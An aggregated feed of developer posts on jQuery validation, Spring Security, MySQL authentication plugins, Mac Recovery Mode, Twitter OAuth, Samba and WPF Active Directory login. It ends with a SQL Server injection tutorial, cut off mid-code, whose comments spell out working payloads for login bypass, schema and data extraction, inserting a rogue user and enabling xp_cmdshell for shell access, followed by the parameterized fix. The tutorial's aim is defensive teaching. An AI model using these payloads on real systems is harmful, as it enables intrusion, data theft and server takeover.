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  • jQuery validation plugin addMethod firing incorrectly

    - by LoganEtherton
    I must be missing something obvious, but everything that I've tried for this is leaving me empty handed, so I'm a bit puzzled. I'm attempting to use the jQuery validation plugin with custom validation methods, but it seems to be hit or miss. It seems that I am able to successfully add rules to a certain extent, but some of the methods are not applied. Or the specified method is not applied, and the incorrect method is instead applied. So, for example, this works without a hitch: $.validator.addMethod("emailValidation", function(value, element) { return /^((([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+(\.([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+)*)|((\x22)((((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(([\x01-\x08\x0b\x0c\x0e-\x1f\x7f]|\x21|[\x23-\x5b]|[\x5d-\x7e]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(\\([\x01-\x09\x0b\x0c\x0d-\x7f]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]))))*(((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(\x22)))@((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?$/.test(value); }, "Please enter a valid email address." ); $.validator.addMethod("password", function(value, element) { return /[^\s]{6,25}/.test(value); }, "Please enter a password between 6 and 25 characters long." ); ... $(function(){ $("#registrationForm").validate({ rules: { email: { required: true, emailValidation: true }, password: { required: true, password: true }, } }); }); Both the password validation and email validation work. But then I add, in the same exact manner, a validation test for names. So, right below where the password method ends, I add: $.validator.addMethod("name", function(value, element) { return /[^\s]{6,25}/.test(value); }, "Please enter a valid name." ); Which turns the validate call into: $(function(){ $("#registrationForm").validate({ rules: { email: { required: true, emailValidation: true }, password: { required: true, password: true }, studentFirstName: { name: true } } }); }); And suddenly, everything is only validating for names. Both the email and password fields now validate using the name method, as does the name field. This is confusing! I've added console.log calls to all methods, and indeed, it's not that one is being called after the other - the only one being called is name. I've checked and double checked that the element selection is good. I've checked that everything is groovy with the methods themselves. Any ideas?

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  • Spring security - Reach users ID without passing it through every controller

    - by nilsi
    I have a design issue that I don't know how to solve. I'm using Spring 3.2.4 and Spring security 3.1.4. I have a Account table in my database that looks like this: create table Account (id identity, username varchar unique, password varchar not null, firstName varchar not null, lastName varchar not null, university varchar not null, primary key (id)); Until recently my username was just only a username but I changed it to be the email address instead since many users want to login with that instead. I have a header that I include on all my pages which got a link to the users profile like this: <a href="/project/users/<%= request.getUserPrincipal().getName()%>" class="navbar-link"><strong><%= request.getUserPrincipal().getName()%></strong></a> The problem is that <%= request.getUserPrincipal().getName()%> returns the email now, I don't want to link the user's with thier emails. Instead I want to use the id every user have to link to the profile. How do I reach the users id's from every page? I have been thinking of two solutions but I'm not sure: Change the principal to contain the id as well, don't know how to do this and having problem finding good information on the topic. Add a model attribute to all my controllers that contain the whole user but this would be really ugly, like this. Account account = entityManager.find(Account.class, email); model.addAttribute("account", account); There are more way's as well and I have no clue which one is to prefer. I hope it's clear enough and thank you for any help on this. ====== Edit according to answer ======= I edited Account to implement UserDetails, it now looks like this (will fix the auto generated stuff later): @Entity @Table(name="Account") public class Account implements UserDetails { @Id private int id; private String username; private String password; private String firstName; private String lastName; @ManyToOne private University university; public Account() { } public Account(String username, String password, String firstName, String lastName, University university) { this.username = username; this.password = password; this.firstName = firstName; this.lastName = lastName; this.university = university; } public String getUsername() { return username; } public String getPassword() { return password; } public String getFirstName() { return firstName; } public String getLastName() { return lastName; } public void setUsername(String username) { this.username = username; } public void setPassword(String password) { this.password = password; } public void setFirstName(String firstName) { this.firstName = firstName; } public void setLastName(String lastName) { this.lastName = lastName; } public University getUniversity() { return university; } public void setUniversity(University university) { this.university = university; } public int getId() { return id; } public void setId(int id) { this.id = id; } @Override public Collection<? extends GrantedAuthority> getAuthorities() { // TODO Auto-generated method stub return null; } @Override public boolean isAccountNonExpired() { // TODO Auto-generated method stub return false; } @Override public boolean isAccountNonLocked() { // TODO Auto-generated method stub return false; } @Override public boolean isCredentialsNonExpired() { // TODO Auto-generated method stub return false; } @Override public boolean isEnabled() { // TODO Auto-generated method stub return true; } } I also added <%@ taglib prefix="sec" uri="http://www.springframework.org/security/tags" %> To my jsp files and trying to reach the id by <sec:authentication property="principal.id" /> This gives me the following org.springframework.beans.NotReadablePropertyException: Invalid property 'principal.id' of bean class [org.springframework.security.authentication.UsernamePasswordAuthenticationToken]: Bean property 'principal.id' is not readable or has an invalid getter method: Does the return type of the getter match the parameter type of the setter? ====== Edit 2 according to answer ======= I based my application on spring social samples and I never had to change anything until now. This are the files I think are relevant, please tell me if theres something you need to see besides this. AccountRepository.java public interface AccountRepository { void createAccount(Account account) throws UsernameAlreadyInUseException; Account findAccountByUsername(String username); } JdbcAccountRepository.java @Repository public class JdbcAccountRepository implements AccountRepository { private final JdbcTemplate jdbcTemplate; private final PasswordEncoder passwordEncoder; @Inject public JdbcAccountRepository(JdbcTemplate jdbcTemplate, PasswordEncoder passwordEncoder) { this.jdbcTemplate = jdbcTemplate; this.passwordEncoder = passwordEncoder; } @Transactional public void createAccount(Account user) throws UsernameAlreadyInUseException { try { jdbcTemplate.update( "insert into Account (firstName, lastName, username, university, password) values (?, ?, ?, ?, ?)", user.getFirstName(), user.getLastName(), user.getUsername(), user.getUniversity(), passwordEncoder.encode(user.getPassword())); } catch (DuplicateKeyException e) { throw new UsernameAlreadyInUseException(user.getUsername()); } } public Account findAccountByUsername(String username) { return jdbcTemplate.queryForObject("select username, firstName, lastName, university from Account where username = ?", new RowMapper<Account>() { public Account mapRow(ResultSet rs, int rowNum) throws SQLException { return new Account(rs.getString("username"), null, rs.getString("firstName"), rs.getString("lastName"), new University("test")); } }, username); } } security.xml <?xml version="1.0" encoding="UTF-8"?> <beans:beans xmlns="http://www.springframework.org/schema/security" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:beans="http://www.springframework.org/schema/beans" xsi:schemaLocation="http://www.springframework.org/schema/security http://www.springframework.org/schema/security/spring-security-3.1.xsd http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.1.xsd"> <http pattern="/resources/**" security="none" /> <http pattern="/project/" security="none" /> <http use-expressions="true"> <!-- Authentication policy --> <form-login login-page="/signin" login-processing-url="/signin/authenticate" authentication-failure-url="/signin?error=bad_credentials" /> <logout logout-url="/signout" delete-cookies="JSESSIONID" /> <intercept-url pattern="/addcourse" access="isAuthenticated()" /> <intercept-url pattern="/courses/**/**/edit" access="isAuthenticated()" /> <intercept-url pattern="/users/**/edit" access="isAuthenticated()" /> </http> <authentication-manager alias="authenticationManager"> <authentication-provider> <password-encoder ref="passwordEncoder" /> <jdbc-user-service data-source-ref="dataSource" users-by-username-query="select username, password, true from Account where username = ?" authorities-by-username-query="select username, 'ROLE_USER' from Account where username = ?"/> </authentication-provider> <authentication-provider> <user-service> <user name="admin" password="admin" authorities="ROLE_USER, ROLE_ADMIN" /> </user-service> </authentication-provider> </authentication-manager> </beans:beans> And this is my try of implementing a UserDetailsService public class RepositoryUserDetailsService implements UserDetailsService { private final AccountRepository accountRepository; @Autowired public RepositoryUserDetailsService(AccountRepository repository) { this.accountRepository = repository; } @Override public UserDetails loadUserByUsername(String username) throws UsernameNotFoundException { Account user = accountRepository.findAccountByUsername(username); if (user == null) { throw new UsernameNotFoundException("No user found with username: " + username); } return user; } } Still gives me the same error, do I need to add the UserDetailsService somewhere? This is starting to be something else compared to my initial question, I should maybe start another question. Sorry for my lack of experience in this. I have to read up.

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  • MySQL 5.5 brings in new ways to authenticate users

    - by Georgi Kodinov
    Ever wanted to use your server's OS for authenticating MySQL users ? Or the corporate LDAP repository ? Unfortunately options like the above are plentiful nowadays. And providing hard-coded support for protocol X or service Y is not the best possible idea. MySQL 5.5 has taken the step into the right direction by providing an infrastructure allowing one to make the server understand different authentication protocols by creating a set of simple plugins (one for the client and one for the server). So now you can easily extend MySQL to search for and authenticate users in your favorite user directory. In fact the API supplied is so versatile that we took the possibility to re-design the current "native" authentication mechanism into a built-in always-on plugin ! OK, let me give you an example: Imagine we have a bunch of users defined in your OS, e.g. we have a user joro with his respective password. And we have a MySQL instance running on the same computer. It would not be unexpected to need to let joro access and/or modify MySQL data. The first step is to define him as a MySQL user. And there's a problem right there : MySQL's CREATE USER joro@localhost IDENTIFIED BY 'joros_password' statement needs a password. And this is a password in no way related to the password that joro have set up in the OS. What's worse : if joro changes his OS password this will in no way be reflected in MySQL. So he'll need to change his MySQL password in a separate step. Not very convenient, specially when you have a lot of users. This is a laborious setup for joro's DBA as well : he'll have to disable his access in both MySQL and the OS should he decides that joro's out of the "nice" list. Now mysql 5.5 to the rescue: Imagine that the smart DBA has created a MySQL server plugin that will check if the name of the user logging in is a valid and enabled OS name and if the password supplied to the mysql client matches the OS and has called this plugin 'auth_os'. Now all that's left to do is to define joro as a MySQL user that will be authenticated externally. This is done by the following command : CREATE USER 'joro'@'localhost' IDENTIFIED WITH 'auth_os'; Now joro can login to MySQL using his current OS password. Note : joro is still a valid MySQL user, so you can grant privileges to him just like you would for all other users. What's better: you can have users that authenticate using different mechanisms in the same server. So you can e.g. safely experiment with external authentication for selected users while keeping your current user base operational. What happens under the hood when joro logs in ? The server will find out by the user definition that it needs to use a non-default authentication and will ask the client to "switch" to using the appropriate client-side plugin (if of course the client is not already using it). If the client can't do this (e.g. because it's an old client or doesn't have the necessary plugin available) the server will reject the login. Otherwise the server will let the server-side plugin decide (while possibly talking to the client side plugin and the OS user directory) if this is a valid login or not. If it is the login process will continue as usual, while if it's not the login will get rejected. There's a lot more that MySQL 5.5 can do for you than just the simple case above. Stay tuned for more advanced use cases like mapping groups of external users to a single MySQL user (so you won't have to have 1-to-1 mapping between your external user directory and your mysql user repository) or ways to control the process as a DBA. Or you can simply skip ahead and read the relevant topics from MySQL's excellent online documentation. Or take a look at the example plugins in plugin/auth. Or take a look at the test suite in mysql-test/t/plugin_auth.test. Changelog entry: http://dev.mysql.com/doc/refman/5.5/en/news-5-5-7.html Primary new sections: Pluggable authentication Proxy users Client plugin C API functions Revised sections: New PROXY privilege New proxies_priv grant table Passwords might be external New external_user and proxy_user system variables New --default-auth and --plugin-dir mysql options New MYSQL_DEFAULT_AUTH and MYSQL_PLUGIN_DIR options for mysql_options() CREATE USER has IDENTIFIED WITH clause to specify auth plugin GRANT has PROXY privilege, IDENTIFIED WITH clause to specify auth plugin The data structure for writing client plugins

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  • 8 Mac System Features You Can Access in Recovery Mode

    - by Chris Hoffman
    A Mac’s Recovery Mode is for more than just reinstalling Mac OS X. You’ll find many other useful troubleshooting utilities here — you can use these even if your Mac can’t boot normally. To access Recovery Mode, restart your Mac and press and hold the Command + R keys during the boot-up process. This is one of several hidden startup options on a Mac. Reinstall Mac OS X Most people know Recovery Mode as the place you go to reinstall OS X on your Mac. Recovery Mode will download the OS X installer files from teh Intenret if you don’t have them locally, so they don’t take up space on your disk and you’ll never have to hunt for an opearign system disc. Better yet, it will download up-to-date installation files so you don’t have to spend hours installing operating system updates later. Microsoft could learn a lot from Apple here. Restore From a Time Machine Backup Instead of reinstalling OS X, you can choose to restore your Mac from a time machine backup. This is like restoring a system image on another operating system. You’ll need an external disk containing a backup image created on the current computer to do this. Browse the Web The Get Help Online link opens the Safari web browser to Apple’s documentation site. It’s not limited to Apple’s website, though — you can navigate to any website you like. This feature allows you to access and use a browser on your Mac even if it isn’t booting properly. It’s ideal for looking up troubleshooting information. Manage Your Disks The Disk Utility option opens the same Disk Utility you can access from within Mac OS X. It allows you to partition disks, format them, scan disks for problems, wipe drives, and set up drives in a RAID configuration. If you need to edit partitions from outside your operating system, you can just boot into the recovery environment — you don’t have to download a special partitioning tool and boot into it. Choose the Default Startup Disk Click the Apple menu on the bar at the top of your screen and select Startup Disk to access the Choose Startup Disk tool. Use this tool to choose your computer’s default startup disk and reboot into another operating system. For example, it’s useful if you have Windows installed alongside Mac OS X with Boot Camp. Add or Remove an EFI Firmware Password You can also add a firmware password to your Mac. This works like a BIOS password or UEFI password on a Windows or Linux PC. Click the Utilities menu on the bar at the top of your screen and select Firmware Password Utility to open this tool. Use the tool to turn on a firmware password, which will prevent your computer from starting up from a different hard disk, CD, DVD, or USB drive without the password you provide. This prevents people form booting up your Mac with an unauthorized operating system. If you’ve already enabled a firmware password, you can remove it from here. Use Network Tools to Troubleshoot Your Connection Select Utilities > Network Utility to open a network diagnostic tool. This utility provides a graphical way to view your network connection information. You can also use the netstat, ping, lookup, traceroute, whois, finger, and port scan utilities from here. These can be helpful to troubleshoot Internet connection problems. For example, the ping command can demonstrate whether you can communicate with a remote host and show you if you’re experiencing packet loss, while the traceroute command can show you where a connection is failing if you can’t connect to a remote server. Open a Terminal If you’d like to get your hands dirty, you can select Utilities > Terminal to open a terminal from here. This terminal allows you to do more advanced troubleshooting. Mac OS X uses the bash shell, just as typical Linux distributions do. Most people will just need to use the Reinstall Mac OS X option here, but there are many other tools you can benefit from. If the Recovery Mode files on your Mac are damaged or unavailable, your Mac will automatically download them from Apple so you can use the full recovery environment.

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  • Integrating Twitter Into An ASP.NET Website Using OAuth

    Earlier this year I wrote an article about Twitterizer, an open-source .NET library that can be used to integrate your application with Twitter. Using Twitterizer you can allow your visitors to post tweets, view their timeline, and much more, all without leaving your website. The original article, Integrating Twitter Into An ASP.NET Website, showed how to post tweets and view a timeline to a particular Twitter account using Twitterizer 1.0. To post a tweet to a specific account, Twitterizer 1.0 uses basic authentication. Basic authentication is a very simple authentication scheme. For an application to post a tweet to JohnDoe's Twitter account, it would submit JohnDoe's username and password (along with the tweet text) to Twitter's servers. Basic authentication, while easy to implement, is not an ideal authentication scheme as it requires that the integrating application know the username(s) and password(s) of the accounts that it is connected to. Consequently, a user must share her password in order to connect her Twitter account with the application. Such password sharing is not only insecure, but it can also cause difficulties down the line if the user changes her password or decides that she no longer wants to connect her account to certain applications (but wants to remain connected to others). To remedy these issues, Twitter introduced support for OAuth, which is a simple, secure protocol for granting API access. In a nutshell, OAuth allows a user to connect an application to their Twitter account without having to share their password. Instead, the user is sent to Twitter's website where they confirm whether they want to connect to the application. Upon confirmation, Twitter generates an token that is then sent back to the application. The application then submits this token when integrating with the user's account. The token serves as proof that the user has allowed this application access to their account. (Twitter users can view what application's they're connected to and may revoke these tokens on an application-by-application basis.) In late 2009, Twitter announced that it was ending its support for basic authentication in June 2010. As a result, the code examined in Integrating Twitter Into An ASP.NET Website, which uses basic authentication, will no longer work once the cut off date is reached. The good news is that the Twitterizer version 2.0 supports OAuth. This article examines how to use Twitterizer 2.0 and OAuth from a website. Specifically, we'll see how to retrieve and display a user's latest tweets and how to post a tweet from an ASP.NET page. Read on to learn more! Read More >Did you know that DotNetSlackers also publishes .net articles written by top known .net Authors? We already have over 80 articles in several categories including Silverlight. Take a look: here.

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  • Integrating Twitter Into An ASP.NET Website Using OAuth

    Earlier this year I wrote an article about Twitterizer, an open-source .NET library that can be used to integrate your application with Twitter. Using Twitterizer you can allow your visitors to post tweets, view their timeline, and much more, all without leaving your website. The original article, Integrating Twitter Into An ASP.NET Website, showed how to post tweets and view a timeline to a particular Twitter account using Twitterizer 1.0. To post a tweet to a specific account, Twitterizer 1.0 uses basic authentication. Basic authentication is a very simple authentication scheme. For an application to post a tweet to JohnDoe's Twitter account, it would submit JohnDoe's username and password (along with the tweet text) to Twitter's servers. Basic authentication, while easy to implement, is not an ideal authentication scheme as it requires that the integrating application know the username(s) and password(s) of the accounts that it is connected to. Consequently, a user must share her password in order to connect her Twitter account with the application. Such password sharing is not only insecure, but it can also cause difficulties down the line if the user changes her password or decides that she no longer wants to connect her account to certain applications (but wants to remain connected to others). To remedy these issues, Twitter introduced support for OAuth, which is a simple, secure protocol for granting API access. In a nutshell, OAuth allows a user to connect an application to their Twitter account without having to share their password. Instead, the user is sent to Twitter's website where they confirm whether they want to connect to the application. Upon confirmation, Twitter generates an token that is then sent back to the application. The application then submits this token when integrating with the user's account. The token serves as proof that the user has allowed this application access to their account. (Twitter users can view what application's they're connected to and may revoke these tokens on an application-by-application basis.) In late 2009, Twitter announced that it was ending its support for basic authentication in June 2010. As a result, the code examined in Integrating Twitter Into An ASP.NET Website, which uses basic authentication, will no longer work once the cut off date is reached. The good news is that the Twitterizer version 2.0 supports OAuth. This article examines how to use Twitterizer 2.0 and OAuth from a website. Specifically, we'll see how to retrieve and display a user's latest tweets and how to post a tweet from an ASP.NET page. Read on to learn more! Read More >

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  • What does NT_STATUS_BAD_NETWORK_NAME mean in Samba?

    - by Neil
    I set up a share like this: [global] security = user map to guest = Bad Password usershare allow guests = yes [vms] comment = VirtualBox Virtual Machines path = /home/neil/VirtualBox/HardDisks guest ok = yes read only = yes And when I access the share as myself, and type in my password, it works fine: $ smbclient //neil-ubuntu/vms -U neil Enter neil's password: Domain=[SHUTTERSTOCK] OS=[Unix] Server=[Samba 3.4.0] smb: \> But when I access it as guest, it doesn't work: $ smbclient //neil-ubuntu/vms -U guest Enter guest's password: Domain=[SHUTTERSTOCK] OS=[Unix] Server=[Samba 3.4.0] tree connect failed: NT_STATUS_BAD_NETWORK_NAME Regardless of what password I type in. Does anyone know why? Also, why does smbclient print such useless error messages?

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  • WPF Login Verification Using Active Directory

    - by psheriff
    Back in October of 2009 I created a WPF login screen (Figure 1) that just showed how to create the layout for a login screen. That one sample is probably the most downloaded sample we have. So in this blog post, I thought I would update that screen and also hook it up to show how to authenticate your user against Active Directory. Figure 1: Original WPF Login Screen I have updated not only the code behind for this login screen, but also the look and feel as shown in Figure 2. Figure 2: An Updated WPF Login Screen The UI To create the UI for this login screen you can refer to my October of 2009 blog post to see how to create the borderless window. You can then look at the sample code to see how I created the linear gradient brush for the background. There are just a few differences in this screen compared to the old version. First, I changed the key image and instead of using words for the Cancel and Login buttons, I used some icons. Secondly I added a text box to hold the Domain name that you wish to authenticate against. This text box is automatically filled in if you are connected to a network. In the Window_Loaded event procedure of the winLogin window you can retrieve the user’s domain name from the Environment.UserDomainName property. For example: txtDomain.Text = Environment.UserDomainName The ADHelper Class Instead of coding the call to authenticate the user directly in the login screen I created an ADHelper class. This will make it easier if you want to add additional AD calls in the future. The ADHelper class contains just one method at this time called AuthenticateUser. This method authenticates a user name and password against the specified domain. The login screen will gather the credentials from the user such as their user name and password, and also the domain name to authenticate against. To use this ADHelper class you will need to add a reference to the System.DirectoryServices.dll in .NET. The AuthenticateUser Method In order to authenticate a user against your Active Directory you will need to supply a valid LDAP path string to the constructor of the DirectoryEntry class. The LDAP path string will be in the format LDAP://DomainName. You will also pass in the user name and password to the constructor of the DirectoryEntry class as well. With a DirectoryEntry object populated with this LDAP path string, the user name and password you will now pass this object to the constructor of a DirectorySearcher object. You then perform the FindOne method on the DirectorySearcher object. If the DirectorySearcher object returns a SearchResult then the credentials supplied are valid. If the credentials are not valid on the Active Directory then an exception is thrown. C#public bool AuthenticateUser(string domainName, string userName,  string password){  bool ret = false;   try  {    DirectoryEntry de = new DirectoryEntry("LDAP://" + domainName,                                           userName, password);    DirectorySearcher dsearch = new DirectorySearcher(de);    SearchResult results = null;     results = dsearch.FindOne();     ret = true;  }  catch  {    ret = false;  }   return ret;} Visual Basic Public Function AuthenticateUser(ByVal domainName As String, _ ByVal userName As String, ByVal password As String) As Boolean  Dim ret As Boolean = False   Try    Dim de As New DirectoryEntry("LDAP://" & domainName, _                                 userName, password)    Dim dsearch As New DirectorySearcher(de)    Dim results As SearchResult = Nothing     results = dsearch.FindOne()     ret = True  Catch    ret = False  End Try   Return retEnd Function In the Click event procedure under the Login button you will find the following code that will validate the credentials that the user types into the login window. C#private void btnLogin_Click(object sender, RoutedEventArgs e){  ADHelper ad = new ADHelper();   if(ad.AuthenticateUser(txtDomain.Text,         txtUserName.Text, txtPassword.Password))    DialogResult = true;  else    MessageBox.Show("Unable to Authenticate Using the                      Supplied Credentials");} Visual BasicPrivate Sub btnLogin_Click(ByVal sender As Object, _ ByVal e As RoutedEventArgs)  Dim ad As New ADHelper()   If ad.AuthenticateUser(txtDomain.Text, txtUserName.Text, _                         txtPassword.Password) Then    DialogResult = True  Else    MessageBox.Show("Unable to Authenticate Using the                      Supplied Credentials")  End IfEnd Sub Displaying the Login Screen At some point when your application launches, you will need to display your login screen modally. Below is the code that you would call to display the login form (named winLogin in my sample application). This code is called from the main application form, and thus the owner of the login screen is set to “this”. You then call the ShowDialog method on the login screen to have this form displayed modally. After the user clicks on one of the two buttons you need to check to see what the DialogResult property was set to. The DialogResult property is a nullable type and thus you first need to check to see if the value has been set. C# private void DisplayLoginScreen(){  winLogin win = new winLogin();   win.Owner = this;  win.ShowDialog();  if (win.DialogResult.HasValue && win.DialogResult.Value)    MessageBox.Show("User Logged In");  else    this.Close();} Visual Basic Private Sub DisplayLoginScreen()  Dim win As New winLogin()   win.Owner = Me  win.ShowDialog()  If win.DialogResult.HasValue And win.DialogResult.Value Then    MessageBox.Show("User Logged In")  Else    Me.Close()  End IfEnd Sub Summary Creating a nice looking login screen is fairly simple to do in WPF. Using the Active Directory services from a WPF application should make your desktop programming task easier as you do not need to create your own user authentication system. I hope this article gave you some ideas on how to create a login screen in WPF. NOTE: You can download the complete sample code for this blog entry at my website: http://www.pdsa.com/downloads. Click on Tips & Tricks, then select 'WPF Login Verification Using Active Directory' from the drop down list. Good Luck with your Coding,Paul Sheriff ** SPECIAL OFFER FOR MY BLOG READERS **We frequently offer a FREE gift for readers of my blog. Visit http://www.pdsa.com/Event/Blog for your FREE gift!

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  • SQL Server SQL Injection from start to end

    - by Mladen Prajdic
    SQL injection is a method by which a hacker gains access to the database server by injecting specially formatted data through the user interface input fields. In the last few years we have witnessed a huge increase in the number of reported SQL injection attacks, many of which caused a great deal of damage. A SQL injection attack takes many guises, but the underlying method is always the same. The specially formatted data starts with an apostrophe (') to end the string column (usually username) check, continues with malicious SQL, and then ends with the SQL comment mark (--) in order to comment out the full original SQL that was intended to be submitted. The really advanced methods use binary or encoded text inputs instead of clear text. SQL injection vulnerabilities are often thought to be a database server problem. In reality they are a pure application design problem, generally resulting from unsafe techniques for dynamically constructing SQL statements that require user input. It also doesn't help that many web pages allow SQL Server error messages to be exposed to the user, having no input clean up or validation, allowing applications to connect with elevated (e.g. sa) privileges and so on. Usually that's caused by novice developers who just copy-and-paste code found on the internet without understanding the possible consequences. The first line of defense is to never let your applications connect via an admin account like sa. This account has full privileges on the server and so you virtually give the attacker open access to all your databases, servers, and network. The second line of defense is never to expose SQL Server error messages to the end user. Finally, always use safe methods for building dynamic SQL, using properly parameterized statements. Hopefully, all of this will be clearly demonstrated as we demonstrate two of the most common ways that enable SQL injection attacks, and how to remove the vulnerability. 1) Concatenating SQL statements on the client by hand 2) Using parameterized stored procedures but passing in parts of SQL statements As will become clear, SQL Injection vulnerabilities cannot be solved by simple database refactoring; often, both the application and database have to be redesigned to solve this problem. Concatenating SQL statements on the client This problem is caused when user-entered data is inserted into a dynamically-constructed SQL statement, by string concatenation, and then submitted for execution. Developers often think that some method of input sanitization is the solution to this problem, but the correct solution is to correctly parameterize the dynamic SQL. In this simple example, the code accepts a username and password and, if the user exists, returns the requested data. First the SQL code is shown that builds the table and test data then the C# code with the actual SQL Injection example from beginning to the end. The comments in code provide information on what actually happens. /* SQL CODE *//* Users table holds usernames and passwords and is the object of out hacking attempt */CREATE TABLE Users( UserId INT IDENTITY(1, 1) PRIMARY KEY , UserName VARCHAR(50) , UserPassword NVARCHAR(10))/* Insert 2 users */INSERT INTO Users(UserName, UserPassword)SELECT 'User 1', 'MyPwd' UNION ALLSELECT 'User 2', 'BlaBla' Vulnerable C# code, followed by a progressive SQL injection attack. /* .NET C# CODE *//*This method checks if a user exists. It uses SQL concatination on the client, which is susceptible to SQL injection attacks*/private bool DoesUserExist(string username, string password){ using (SqlConnection conn = new SqlConnection(@"server=YourServerName; database=tempdb; Integrated Security=SSPI;")) { /* This is the SQL string you usually see with novice developers. It returns a row if a user exists and no rows if it doesn't */ string sql = "SELECT * FROM Users WHERE UserName = '" + username + "' AND UserPassword = '" + password + "'"; SqlCommand cmd = conn.CreateCommand(); cmd.CommandText = sql; cmd.CommandType = CommandType.Text; cmd.Connection.Open(); DataSet dsResult = new DataSet(); /* If a user doesn't exist the cmd.ExecuteScalar() returns null; this is just to simplify the example; you can use other Execute methods too */ string userExists = (cmd.ExecuteScalar() ?? "0").ToString(); return userExists != "0"; } }}/*The SQL injection attack example. Username inputs should be run one after the other, to demonstrate the attack pattern.*/string username = "User 1";string password = "MyPwd";// See if we can even use SQL injection.// By simply using this we can log into the application username = "' OR 1=1 --";// What follows is a step-by-step guessing game designed // to find out column names used in the query, via the // error messages. By using GROUP BY we will get // the column names one by one.// First try the Idusername = "' GROUP BY Id HAVING 1=1--";// We get the SQL error: Invalid column name 'Id'.// From that we know that there's no column named Id. // Next up is UserIDusername = "' GROUP BY Users.UserId HAVING 1=1--";// AHA! here we get the error: Column 'Users.UserName' is // invalid in the SELECT list because it is not contained // in either an aggregate function or the GROUP BY clause.// We have guessed correctly that there is a column called // UserId and the error message has kindly informed us of // a table called Users with a column called UserName// Now we add UserName to our GROUP BYusername = "' GROUP BY Users.UserId, Users.UserName HAVING 1=1--";// We get the same error as before but with a new column // name, Users.UserPassword// Repeat this pattern till we have all column names that // are being return by the query.// Now we have to get the column data types. One non-string // data type is all we need to wreck havoc// Because 0 can be implicitly converted to any data type in SQL server we use it to fill up the UNION.// This can be done because we know the number of columns the query returns FROM our previous hacks.// Because SUM works for UserId we know it's an integer type. It doesn't matter which exactly.username = "' UNION SELECT SUM(Users.UserId), 0, 0 FROM Users--";// SUM() errors out for UserName and UserPassword columns giving us their data types:// Error: Operand data type varchar is invalid for SUM operator.username = "' UNION SELECT SUM(Users.UserName) FROM Users--";// Error: Operand data type nvarchar is invalid for SUM operator.username = "' UNION SELECT SUM(Users.UserPassword) FROM Users--";// Because we know the Users table structure we can insert our data into itusername = "'; INSERT INTO Users(UserName, UserPassword) SELECT 'Hacker user', 'Hacker pwd'; --";// Next let's get the actual data FROM the tables.// There are 2 ways you can do this.// The first is by using MIN on the varchar UserName column and // getting the data from error messages one by one like this:username = "' UNION SELECT min(UserName), 0, 0 FROM Users --";username = "' UNION SELECT min(UserName), 0, 0 FROM Users WHERE UserName > 'User 1'--";// we can repeat this method until we get all data one by one// The second method gives us all data at once and we can use it as soon as we find a non string columnusername = "' UNION SELECT (SELECT * FROM Users FOR XML RAW) as c1, 0, 0 --";// The error we get is: // Conversion failed when converting the nvarchar value // '<row UserId="1" UserName="User 1" UserPassword="MyPwd"/>// <row UserId="2" UserName="User 2" UserPassword="BlaBla"/>// <row UserId="3" UserName="Hacker user" UserPassword="Hacker pwd"/>' // to data type int.// We can see that the returned XML contains all table data including our injected user account.// By using the XML trick we can get any database or server info we wish as long as we have access// Some examples:// Get info for all databasesusername = "' UNION SELECT (SELECT name, dbid, convert(nvarchar(300), sid) as sid, cmptlevel, filename FROM master..sysdatabases FOR XML RAW) as c1, 0, 0 --";// Get info for all tables in master databaseusername = "' UNION SELECT (SELECT * FROM master.INFORMATION_SCHEMA.TABLES FOR XML RAW) as c1, 0, 0 --";// If that's not enough here's a way the attacker can gain shell access to your underlying windows server// This can be done by enabling and using the xp_cmdshell stored procedure// Enable xp_cmdshellusername = "'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;";// Create a table to store the values returned by xp_cmdshellusername = "'; CREATE TABLE ShellHack (ShellData NVARCHAR(MAX))--";// list files in the current SQL Server directory with xp_cmdshell and store it in ShellHack table username = "'; INSERT INTO ShellHack EXEC xp_cmdshell \"dir\"--";// return the data via an error messageusername = "' UNION SELECT (SELECT * FROM ShellHack FOR XML RAW) as c1, 0, 0; --";// delete the table to get clean output (this step is optional)username = "'; DELETE ShellHack; --";// repeat the upper 3 statements to do other nasty stuff to the windows server// If the returned XML is larger than 8k you'll get the "String or binary data would be truncated." error// To avoid this chunk up the returned XML using paging techniques. // the username and password params come from the GUI textboxes.bool userExists = DoesUserExist(username, password ); Having demonstrated all of the information a hacker can get his hands on as a result of this single vulnerability, it's perhaps reassuring to know that the fix is very easy: use parameters, as show in the following example. /* The fixed C# method that doesn't suffer from SQL injection because it uses parameters.*/private bool DoesUserExist(string username, string password){ using (SqlConnection conn = new SqlConnection(@"server=baltazar\sql2k8; database=tempdb; Integrated Security=SSPI;")) { //This is the version of the SQL string that should be safe from SQL injection string sql = "SELECT * FROM Users WHERE UserName = @username AND UserPassword = @password"; SqlCommand cmd = conn.CreateCommand(); cmd.CommandText = sql; cmd.CommandType = CommandType.Text; // adding 2 SQL Parameters solves the SQL injection issue completely SqlParameter usernameParameter = new SqlParameter(); usernameParameter.ParameterName = "@username"; usernameParameter.DbType = DbType.String; usernameParameter.Value = username; cmd.Parameters.Add(usernameParameter); SqlParameter passwordParameter = new SqlParameter(); 